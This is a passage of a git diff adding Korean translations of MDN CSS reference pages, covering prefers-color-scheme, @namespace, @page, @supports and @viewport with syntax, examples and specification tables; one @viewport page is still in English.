+<p><strong><code>prefers-color-scheme</code></strong> <a href="/ko/docs/CSS">CSS</a> <a href="/ko/docs/Web/CSS/@media#Media_features">미디어 특성</a>은 사용자의 시스템이 라이트 테마나 다크 테마를 사용하는지 탐지하는 데에 사용됩니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<dl>
+ <dt><code><dfn>no-preference</dfn></code></dt>
+ <dd>사용자가 시스템에 선호하는 테마를 알리지 않았음을 나타냅니다. 이 키워드는 <a href="https://drafts.csswg.org/mediaqueries-5/#boolean-context" id="ref-for-boolean-context④">boolean context</a>에서 <code>false</code>로 판정됩니다.</dd>
+ <dt><code><dfn>light</dfn></code></dt>
+ <dd>사용자가 시스템에 라이트 테마를 사용하는 것을 선호한다고 알렸음을 나타냅니다.</dd>
+ <dt><code><dfn>dark</dfn></code></dt>
+ <dd>사용자가 시스템에 다크 테마를 사용하는 것을 선호한다고 알렸음을 나타냅니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제는 검은 배경에 흰 텍스트를 가진 요소를 라이트 테마를 사용하는 사용자가 볼 경우 색을 반대로 해서 나타냅니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="themed"&gt;Theme&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.themed {
+ display: block;
+ width: 10em;
+ height: 10em;
+ background: black;
+ color: white;
+}
+
+@media (prefers-color-scheme: light) {
+ .themed {
+ background: white;
+ color: black;
+ }
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>
+ <p>{{SpecName('CSS5 Media Queries', '#descdef-media-prefers-color-scheme', 'prefers-color-scheme')}}</p>
+ </td>
+ <td>{{Spec2('CSS5 Media Queries')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.at-rules.media.prefers-color-scheme")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://stuffandnonsense.co.uk/blog/redesigning-your-product-and-website-for-dark-mode">Redesigning your product and website for dark mode</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/CSS/@media/")}}</div>
diff --git a/files/ko/web/css/@namespace/index.html b/files/ko/web/css/@namespace/index.html
new file mode 100644
index 0000000000..d4059df78e
--- /dev/null
+++ b/files/ko/web/css/@namespace/index.html
@@ -0,0 +1,78 @@
+---
+title: '@namespace'
+slug: Web/CSS/@namespace
+tags:
+ - At-rule
+ - CSS
+ - Layout
+ - Reference
+ - Web
+translation_of: Web/CSS/@namespace
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>@namespace</code></strong>는 <a href="/ko/docs/Glossary/CSS">CSS</a> <a href="/ko/docs/Web/API/StyleSheet">스타일 시트</a>에서 사용되는 <a href="/ko/docs/Namespaces">XML 네임스페이스</a>를 정의하는 <a href="/ko/docs/Web/CSS/At-rule" title="CSS at-rules">at-규칙</a>입니다. 정의된 네임스페이스는 오직 그 네임스페이스 내의 요소를 선택만 하기 위해 <a href="/ko/docs/Web/CSS/Universal_selectors">universal</a>, <a href="/ko/docs/Web/CSS/Type_selectors">type</a> 및 <a href="/ko/docs/Web/CSS/Attribute_selectors">attribute</a> <a href="/ko/docs/Web/Guide/CSS/Getting_started/Selectors">선택자</a>를 제한하는 데 사용될 수 있습니다. <code>@namespace</code> 규칙은 보통 여러 네임스페이스(인라인 SVG 또는 MathML 있는 HTML5 또는 다양한 어휘를 섞는 XML 등)를 포함하는 문서를 처리하는 경우에만 유용합니다.</span></p>
+
+<p>어떤 <code>@namespace</code> 규칙이든 모든 <a href="/ko/docs/Web/CSS/%40charset">@charset</a> 및 <a href="/ko/docs/Web/CSS/%40import">@import</a> 규칙의 다음에 오고 스타일시트에서 모든 다른 at-규칙 및 <a href="/ko/docs/Web/API/CSSStyleDeclaration">스타일 선언</a>보다 앞서야 합니다.</p>
+
+<p><code>@namespace</code>는 스타일 시트를 위한 <strong>기본 네임스페이스</strong>를 정의하는 데 사용될 수 있습니다. 기본 네임스페이스가 정의된 경우, 모든 universal 및 type 선택자 (attribute 선택자는 아님, 아래 주의 참조) 는 그 네임스페이스 내 요소에만 적용됩니다.</p>
+
+<p><code>@namespace</code> 규칙은 또한 네임스페이스 접두어(<strong>namespace prefix</strong>)를 정의하는 데도 사용될 수 있습니다. universal, type 또는 attribute 선택자가 네임스페이스 접두어로 시작되는 경우, 그때 그 선택자는 요소 또는 attribute의 네임스페이스 <em>및</em> 이름이 일치하는 경우에만 일치합니다.</p>
+
+<p><a href="https://html.spec.whatwg.org/#foreign-elements" title="foreign elements">외부 요소</a>로 알려진 <a href="/ko/docs/Glossary/HTML5">HTML5</a>에서는, 자동으로 네임스페이스가 할당됩니다. 이는 HTML 요소는 마치 XHTML 네임스페이스 (<code>http://www.w3.org/1999/xhtml</code>) 에 있는 것처럼 행동하고, 문서 어디에든 <code>xmlns</code> attribute가 없을지라도, <a href="/ko/docs/Web/SVG/Element/svg">&lt;svg&gt;</a> 및 <a href="/ko/docs/Web/MathML/Element/math">&lt;math&gt;</a> 요소는 그들의 적절한 네임스페이스 (<code>http://www.w3.org/2000/svg</code> 및 <code>http://www.w3.org/1998/Math/MathML</code>) 가 할당됨을 뜻합니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> XML에서, 접두어가 직접 attribute (<em>가령</em>, <code>xlink:href</code>)에 정의되지 않는 한, 그 attribute은 네임스페이스가 없습니다. 다시 말해서, attribute은 그들이 붙은 요소의 네임스페이스를 상속받지 않습니다. 이 행동(behaviour)를 일치시키기 위해, CSS에서 기본 네임스페이스는 attribute 선택자에 적용되지 않습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* 기본 네임스페이스 */
+@namespace url(<em>XML-namespace-URL</em>);
+@namespace "<em>XML-namespace-URL</em>";
+
+/* 접두어 붙은 네임스페이스 */
+@namespace <em>prefix</em> url(<em>XML-namespace-URL</em>);
+@namespace <em>prefix</em> "<em>XML-namespace-URL</em>";</pre>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">@namespace url(http://www.w3.org/1999/xhtml);
+@namespace svg url(http://www.w3.org/2000/svg);
+
+/* 이는 모든 XHTML &lt;a&gt; 요소와 일치합니다, XHTML이 접두어 붙지 않은 기본 네임스페이스이기에 */
+a {}
+
+/* 이는 모든 SVG &lt;a&gt; 요소와 일치합니다 */
+svg|a {}
+
+/* 이는 XHTML 및 SVG &lt;a&gt; 요소 둘 다와 일치합니다 */
+*|a {}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Namespaces', '#declaration', '@namespace')}}</td>
+ <td>{{Spec2('CSS3 Namespaces')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.at-rules.namespace")}}</p>
diff --git a/files/ko/web/css/@page/index.html b/files/ko/web/css/@page/index.html
new file mode 100644
index 0000000000..dd9d2e2ac0
--- /dev/null
+++ b/files/ko/web/css/@page/index.html
@@ -0,0 +1,96 @@
+---
+title: '@page'
+slug: Web/CSS/@page
+tags:
+ - At-rule
+ - CSS
+ - Layout
+ - Reference
+ - Web
+translation_of: Web/CSS/@page
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>@page</code></strong> CSS @규칙은 문서를 인쇄할 때 일부 CSS 속성을 수정하는 데 쓰입니다. <code>@page</code>로 모든 CSS 속성을 바꿀 수는 없습니다. 문서의 margin, orphan, widow(앞단에서 넘어온 짤막한 행) 및 page break만 바꿀 수 있습니다. 다른 CSS 속성을 바꾸려는 시도는 무시됩니다.</p>
+
+<pre class="brush: css">@page {
+ margin: 1cm;
+}
+
+@page :first {
+ margin: 2cm;
+}
+</pre>
+
+<p><code>@page</code> @규칙은 CSS 객체 모델 인터페이스 {{domxref("CSSPageRule")}}를 통해 액세스될 수 있습니다.</p>
+
+<div class="note"><strong>주의:</strong> W3C은 viewport 관련 {{cssxref("&lt;length&gt;")}} 단위, <code>vh</code>, <code>vw</code>, <code>vmin</code> 및 <code>vmax</code> 처리법을 논의 중입니다. 그 동안에 <code>@page</code> @규칙 내에서 사용하지 마세요.</div>
+
+<h2 id="구문">구문</h2>
+
+<h3 id="서술자">서술자</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/@page/size"><code>size</code></a></dt>
+ <dd>페이지 박스 내 포함 블록의 대상(target) 크기 및 방향을 지정합니다. 한 페이지 박스가 한 페이지 시트에 렌더링 되는 일반적인 경우에, 또한 대상(destination) 페이지 시트의 크기를 나타냅니다.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/@page/marks"><code>marks</code></a></dt>
+ <dd>문서에 crop 및/또는 registration 마크를 추가합니다.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/@page/bleed"><code>bleed</code></a></dt>
+ <dd>페이지 렌더링이 잘리는(clip) 페이지 박스 너머 범위를 지정합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>예제를 위한 <code>@page</code>의 다양한 <a href="/ko/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">가상 클래스</a> 참조해 주세요.</p>
+
+<ul>
+ <li>{{Cssxref(":blank")}}</li>
+ <li>{{Cssxref(":first")}}</li>
+ <li>{{Cssxref(":left")}}</li>
+ <li>{{Cssxref(":right")}}</li>
+ <li>{{Cssxref(":recto")}} {{experimental_inline}}</li>
+ <li>{{Cssxref(":verso")}} {{experimental_inline}}</li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS Logical Properties', '#logical-page', ':recto and :verso')}}</td>
+ <td>{{Spec2('CSS Logical Properties')}}</td>
+ <td><code>:recto</code> 및 <code>:verso</code> 페이지 선택자 추가</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Paged Media', '#at-page-rule', '@page')}}</td>
+ <td>{{Spec2('CSS3 Paged Media')}}</td>
+ <td>{{SpecName('CSS2.1')}}에서 변화 없음, 더 많은 CSS at-규칙이 <code>@page</code> 내에 사용될 수 있지만.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'page.html#page-selectors', '@page')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.at-rules.page")}}</p>
diff --git a/files/ko/web/css/@supports/index.html b/files/ko/web/css/@supports/index.html
new file mode 100644
index 0000000000..e2d9c44ec3
--- /dev/null
+++ b/files/ko/web/css/@supports/index.html
@@ -0,0 +1,193 @@
+---
+title: '@supports'
+slug: Web/CSS/@supports
+tags:
+ - At-rule
+ - CSS
+ - Layout
+ - Reference
+ - Web
+translation_of: Web/CSS/@supports
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>@supports</code></strong> <a href="/ko/docs/Web/CSS" title="CSS">CSS</a> <a href="/ko/docs/Web/CSS/At-rule" title="en/CSS/At-rule">@규칙</a>은 주어진 하나 이상의 CSS 기능을 브라우저가 지원하는지에 따라 다른 스타일 선언을 할 수 있는 방법을 제공합니다.</span> 이를 기능 쿼리(feature query)라고 부릅니다. <code>@supports</code>는 스타일의 최상위 단계, 또는 다른 <a href="/ko/docs/Web/CSS/At-rule#조건부_그룹_규칙">조건부 그룹 규칙</a>에 중첩해 위치할 수 있습니다.</p>
+
+<pre class="brush: css; no-line-numbers">@supports (display: grid) {
+ div {
+ display: grid;
+ }
+}</pre>
+
+<pre class="brush: css; no-line-numbers">@supports not (display: grid) {
+ div {
+ float: right;
+ }
+}</pre>
+
+<p>JavaScript에서, <code>@supports</code>는 CSS 객체 모델 인터페이스 {{DOMxRef("CSSSupportsRule")}}로 접근할 수 있습니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<p><code>@supports</code> @규칙은 하나의 선언 블록을 특정 기능의 브라우저 지원 조건과 연결할 수 있습니다.<em> 지원 조건은 하나 이상의 키-값 쌍을 논리곱(<code>and</code>), 논리합(<code>or</code>), 부정(<code>not</code>)으로 연결해 구성합니다. 괄호로 묶어 우선순위를 </em>지정할 수도 있습니다.</p>
+
+<h3 id="선언_구문">선언 구문</h3>
+
+<p>가장 기본적인 지원 조건은 단순한 선언(속성 이름과 그 값)입니다. 선언은 괄호로 묶여야 합니다. 다음 예제는 브라우저가 {{cssxref("transform-origin")}} 속성의 값으로 <code>5% 5%</code>가 유효하다고 여길 때 통과합니다.</p>
+
+<pre class="brush:css">@supports (transform-origin: 5% 5%) {}</pre>
+
+<h3 id="함수_구문">함수 구문</h3>
+
+<p>두 번째 기본적인 지원 조건은 지원 함수로, 모든 브라우저가 함수 구문을 지원하지만 지원 함수 자체는 아직 표준화 중입니다.</p>
+
+<h4 id="selector()" name="selector()"><code>selector()</code> {{experimental_inline}}</h4>
+
+<p>브라우저가 주어진 선택자를 지원하는지 판별합니다. 다음 예제는 브라우저가 <a href="/ko/docs/Web/CSS/Child_combinator">자식 결합자</a>를 지원할 때 통과합니다.</p>
+
+<pre class="brush: css">@supports selector(A &gt; B) {}
+</pre>
+
+<h3 id="not_연산자"><code>not</code> 연산자</h3>
+
+<p><code>not</code> 연산자를 어떤 표현식 앞에 붙이면 그 반대 결과를 낳는 새로운 표현식을 생성합니다. 다음 예제는 브라우저가 {{cssxref("transform-origin")}} 속성의 값으로 <code>10em 10em 10em</code>이 <strong>유효하지 않다</strong>고 여길 때 통과합니다.</p>
+
+<pre class="brush:css">@supports not (transform-origin: 10em 10em 10em) {}</pre>
+
+<p>다른 연산자와 마찬가지로, 선언의 복잡도와 관계 없이 <code>not</code> 연산자를 적용할 수 있습니다. 다음 두 예시는 모두 유효한 구문입니다.</p>
+
+<pre class="brush:css">@supports not (not (transform-origin: 2px)) {}
+@supports (display: grid) and (not (display: inline-grid)) {}</pre>
+
+<div class="note style-wrap">
+<p><strong>참고:</strong> 최상위 <code>not</code> 연산자는 괄호로 감싸지 않아도 괜찮습니다. <code>and</code>, <code>or</code> 등 다른 연산자와 함께 사용할 때는 괄호가 필요합니다.</p>
+</div>
+
+<h3 id="and_연산자"><code>and</code> 연산자</h3>
+
+<p><code>and</code> 연산자는 두 표현식의 논리곱으로부터 새로운 표현식을 생성합니다. 새로운 표현식은 두 구성 표현식이 <strong>모두 참일 때만</strong> 참을 반환합니다. 다음 예제는 두 개의 구성 표현식이 동시에 참이어야만 통과합니다.</p>
+
+<pre class="brush: css">@supports (display: table-cell) and (display: list-item) {}</pre>
+
+<p>다수의 논리곱은 괄호 없이 병치할 수 있습니다. 다음 두 예시는 모두 유효한 구문입니다.</p>
+
+<pre class="brush: css">@supports (display: table-cell) and (display: list-item) and (display:run-in) {}
+@supports (display: table-cell) and ((display: list-item) and (display:run-in)) {}</pre>
+
+<h3 id="or_연산자"><code>or</code> 연산자</h3>
+
+<p><code>or</code> 연산자는 두 표현식의 논리합으로부터 새로운 표현식을 생성합니다. 새로운 표현식은 두 구성 표현식 중 <strong>어느 한 쪽이라도 참이면</strong> 참을 반환합니다. 다음 예제는 두 개의 구성 표현식 중 하나라도 참이면 통과합니다.</p>
+
+<pre class="brush:css;">@supports (transform-style: preserve) or (-moz-transform-style: preserve) {}
+</pre>
+
+<p>다수의 논리합은 괄호 없이 병치할 수 있습니다. 다음 두 예시는 모두 유효한 구문입니다.</p>
+
+<pre class="brush:css">@supports (transform-style: preserve) or (-moz-transform-style: preserve) or
+          (-o-transform-style: preserve) or (-webkit-transform-style: preserve) {}
+
+@supports (transform-style: preserve-3d) or ((-moz-transform-style: preserve-3d) or
+          ((-o-transform-style: preserve-3d) or (-webkit-transform-style: preserve-3d))) {}</pre>
+
+<div class="note style-wrap">
+<p><strong>참고</strong>: <code>and</code>와 <code>or</code> 연산자를 같이 사용할 때는 괄호를 사용해 연산자 적용 순서를 정의해야 합니다. 그렇지 않으면 조건이 유효하지 않으므로 @-규칙 전체를 무시합니다.</p>
+</div>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="주어진_CSS_속성의_지원_여부_판별">주어진 CSS 속성의 지원 여부 판별</h3>
+
+<pre class="brush:css;">@supports (animation-name: test) {
+ … /* 애니메이션 속성을 접두사 없이 사용할 수 있을 때 CSS 적용 */
+ @keyframes { /* 다른 @-규칙을 중첩 가능 */
+ …
+ }
+}
+</pre>
+
+<h3 id="주어진_CSS_속성_및_접두사_버전의_지원_여부_판별">주어진 CSS 속성 및 접두사 버전의 지원 여부 판별</h3>
+
+<pre class="brush:css;">@supports ( (perspective: 10px) or (-moz-perspective: 10px) or (-webkit-perspective: 10px) or
+ (-ms-perspective: 10px) or (-o-perspective: 10px) ) {
+ … /* 접두사가 붙더라도 3D 변형을 지원하면 CSS 적용 */
+}
+</pre>
+
+<h3 id="특정_CSS_속성의_미지원_여부_판별">특정 CSS 속성의 미지원 여부 판별</h3>
+
+<pre class="brush:css;">@supports not ((text-align-last: justify) or (-moz-text-align-last: justify) ){
+ … /* text-align-last: justify를 대체할 CSS */
+}</pre>
+
+<h3 id="사용자_정의_속성_지원_여부_판별">사용자 정의 속성 지원 여부 판별</h3>
+
+<pre class="brush: css">@supports (--foo: green) {
+ body {
+ color: var(--varName);
+ }
+}</pre>
+
+<h3 id="선택자_지원_여부_판별_(예_CSSxRef(is_is()))">선택자 지원 여부 판별 (예: {{CSSxRef(":is", ":is()")}})</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<pre class="brush: css">/* :is()를 지원하지 않는 브라우저에서는 무시함 */
+:is(ul, ol) &gt; li {
+ … /* :is() 선택자를 지원할 때 적용할 CSS */
+}
+
+@supports not selector(:is(a, b)) {
+ /* :is()를 지원하지 않을 때 대체할 CSS */
+ ul &gt; li,
+ ol &gt; li {
+ … /* :is()를 지원하지 않을 때 적용할 CSS */
+ }
+}
+
+@supports selector(:nth-child(1n of a, b)) {
+ /* @supports로 먼저 묶지 않으면 :nth-child()의 of 구문을
+  지원하지 않는 브라우저에서 스타일을 잘못 적용할 수 있음 */
+ :is(:nth-child(1n of ul, ol) a,
+ details &gt; summary) {
+ … /* :is() 선택자와 :nth-child()의 of 구문을 지원할 때 적용할 CSS */
+ }
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS Conditional 4", "#at-supports", "@supports")}}</td>
+ <td>{{Spec2("CSS Conditional 4")}}</td>
+ <td>Adds the <code>selector()</code>function.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Conditional", "#at-supports", "@supports")}}</td>
+ <td>{{Spec2("CSS3 Conditional")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("css.at-rules.supports")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSSOM 클래스 {{ domxref("CSSSupportsRule") }}과, JavaScript를 통해 동일한 판별을 수행할 수 있는 {{ domxref("CSS.supports") }} 메서드</li>
+</ul>
diff --git a/files/ko/web/css/@viewport/height/index.html b/files/ko/web/css/@viewport/height/index.html
new file mode 100644
index 0000000000..4a97de7c7f
--- /dev/null
+++ b/files/ko/web/css/@viewport/height/index.html
@@ -0,0 +1,75 @@
+---
+title: height
+slug: Web/CSS/@viewport/height
+tags:
+ - '@viewport'
+ - CSS
+ - CSS Descriptor
+ - Reference
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}</div>
+
+<p><code><strong>height</strong></code> CSS 서술자(descriptor)는 뷰포트의 {{cssxref("@viewport/min-height", "min-height")}} 및 {{cssxref("@viewport/max-height", "max-height")}} 둘 다 설정하기 위한 단축(shorthand) 설명자입니다. 뷰포트 길이 값 하나를 주어 최소 높이 및 최대 높이 둘 다를 주어진 값으로 설정합니다.</p>
+
+<p>뷰포트 값이 두 개 주어진 경우, 첫 번째 값은 최소 높이로 두 번째 값은 최대 높이로 설정합니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* 한 값 */
+height: auto;
+height: 320px;
+height: 15em;
+
+/* 두 값 */
+height: 320px 200px;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>다른 CSS 설명자의 값에서 계산된 사용값(used value).</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>음이 아닌 절대 또는 상대 길이.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>가로 및 세로 길이 각각을 위한 줌 배율(factor) 1.0에서 초기 뷰포트의 너비 또는 높이에 대한 퍼센트 값. 음이 아니어야 합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">@viewport {
+ height: 500px;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Device', '#descdef-viewport-height', '"height" descriptor')}}</td>
+ <td>{{Spec2('CSS3 Device')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.at-rules.viewport.height")}}</p>
diff --git a/files/ko/web/css/@viewport/index.html b/files/ko/web/css/@viewport/index.html
new file mode 100644
index 0000000000..e77278c61e
--- /dev/null
+++ b/files/ko/web/css/@viewport/index.html
@@ -0,0 +1,120 @@
+---
+title: '@viewport'
+slug: Web/CSS/@viewport
+tags:
+ - Adaptation
+ - At-rule
+ - CSS
+ - Device
+ - NeedsContent
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+translation_of: Web/CSS/@viewport
+---
+<div>{{SeeCompatTable}}{{CSSRef}}</div>
+
+<p>The<strong> <code>@viewport</code></strong> <a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="en/CSS/At-rule">at-rule</a> lets you configure the {{glossary("viewport")}} through which the document is viewed. It's primarily used for mobile devices, but is also used by desktop browsers that support features like "snap to edge" (such as Microsoft Edge).</p>
+
+<p>Lengths specified as percentages are calculated relative to the <strong>initial viewport</strong>, which is the viewport before any user agent or authored styles have had an opportunity to adjust the viewport. This is typically based on the size of the window on desktop browsers that aren't in full screen mode.</p>
+
+<p>On mobile devices (or desktop devices that are in full screen mode), the initial viewport is usually the portion of a device's screen that is available for application use. This may be either the full screen or the full screen area minus areas controlled by the operating system (such as a taskbar) or the application-available screen area (either the full screen or the screen minus any areas owned by the operating system or other applications).</p>
+
+<pre class="brush: css no-line-numbers">@viewport {
+ width: device-width;
+}</pre>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>The at-rule contains a set of nested {{glossary("descriptor (CSS)", "descriptor")}}s in a CSS block that is delimited by curly braces.</p>
+
+<p>A <em>zoom factor</em> of <code>1.0</code> or <code>100%</code> corresponds to no zooming. Larger values zoom in. Smaller values zoom out.</p>
+
+<h3 id="Descriptors">Descriptors</h3>
+
+<p>Browser support for <code>@viewport</code> is weak at this time, with support being largely available in Internet Explorer and Edge. Even in those browsers, only a small number of descriptors are available. Browsers will ignore <code>@viewport</code> if they don't support it, and will ignore any descriptors that they don't recognize.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/min-width"><code>min-width</code></a></dt>
+ <dd>Used in the determination of the width of the viewport when the document is first displayed.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/max-width"><code>max-width</code></a></dt>
+ <dd>Used in the determination of the width of the viewport when the document is first displayed.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/width"><code>width</code></a></dt>
+ <dd>A shorthand descriptor for setting both <code>min-width</code> and <code>max-width</code>.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/min-height"><code>min-height</code></a></dt>
+ <dd>Used in the determination of the height of the viewport when the document is first displayed.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/max-height"><code>max-height</code></a></dt>
+ <dd>Used in the determination of the height of the viewport when the document is first displayed.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/height"><code>height</code></a></dt>
+ <dd>A shorthand descriptor for setting both <code>min-height</code> and <code>max-height</code>.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/zoom"><code>zoom</code></a></dt>
+ <dd>Sets the initial zoom factor.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/min-zoom"><code>min-zoom</code></a></dt>
+ <dd>Sets the minimum zoom factor.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/max-zoom"><code>max-zoom</code></a></dt>
+ <dd>Sets the maximum zoom factor.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/user-zoom"><code>user-zoom</code></a></dt>
+ <dd>Controls whether or not the user should be able to change the zoom factor.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/@viewport/orientation"><code>orientation</code></a></dt>
+ <dd>Controls the document's orientation.</dd>
+ <dt>{{cssxref("@viewport/viewport-fit", "viewport-fit")}}</dt>
+ <dd>Controls the display of the document on non-rectangular displays.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: css">@viewport {
+ min-width: 640px;
+ max-width: 800px;
+}
+
+@viewport {
+ zoom: 0.75;
+ min-zoom: 0.5;
+ max-zoom: 0.9;
+}
+
+@viewport {
+ orientation: landscape;
+}</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS Round Display", "#extending-viewport-rule", "@viewport")}}</td>
+ <td>{{Spec2("CSS Round Display")}}</td>
+ <td>Defined the {{cssxref("@viewport/viewport-fit", "viewport-fit")}} descriptor.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Device', '#the-atviewport-rule', '@viewport')}}</td>
+ <td>{{Spec2('CSS3 Device')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.at-rules.viewport")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement("meta")}}, specifically <code>&lt;meta name="viewport"&gt;</code></li>
+ <li><a href="/en-US/docs/Mobile/Viewport_meta_tag">Using the viewport meta tag to control layout on mobile browsers</a></li>
+</ul>
diff --git a/files/ko/web/css/@viewport/viewport-fit/index.html b/files/ko/web/css/@viewport/viewport-fit/index.html
new file mode 100644
index 0000000000..e29d893382
--- /dev/null
+++ b/files/ko/web/css/@viewport/viewport-fit/index.html
@@ -0,0 +1,72 @@
+---
+title: viewport-fit
+slug: Web/CSS/@viewport/viewport-fit
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}{{Draft}}{{SeeCompatTable}}</div>
+
+<p><strong><code>viewport-fit</code></strong> CSS {{CSSxRef("@viewport")}} {{Glossary("Descriptor (CSS)", "설명자")}}는 문서의 뷰포트가 화면을 채우는 방법을 제어합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css; no-line-numbers">/* Keyword values */
+viewport-fit: auto;
+viewport-fit: contain;
+viewport-fit: cover;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>이 값은 초기 레이아웃 뷰포트에 영향을 미치지 않으며 전체 웹 페이지가 보여집니다.</dd>
+ <dt><code>contain</code></dt>
+ <dd>뷰포트 크기가 디스플레이 내에 새겨진 가장 큰 직사각형에 들어맞게 조정됩니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>cover</code></dt>
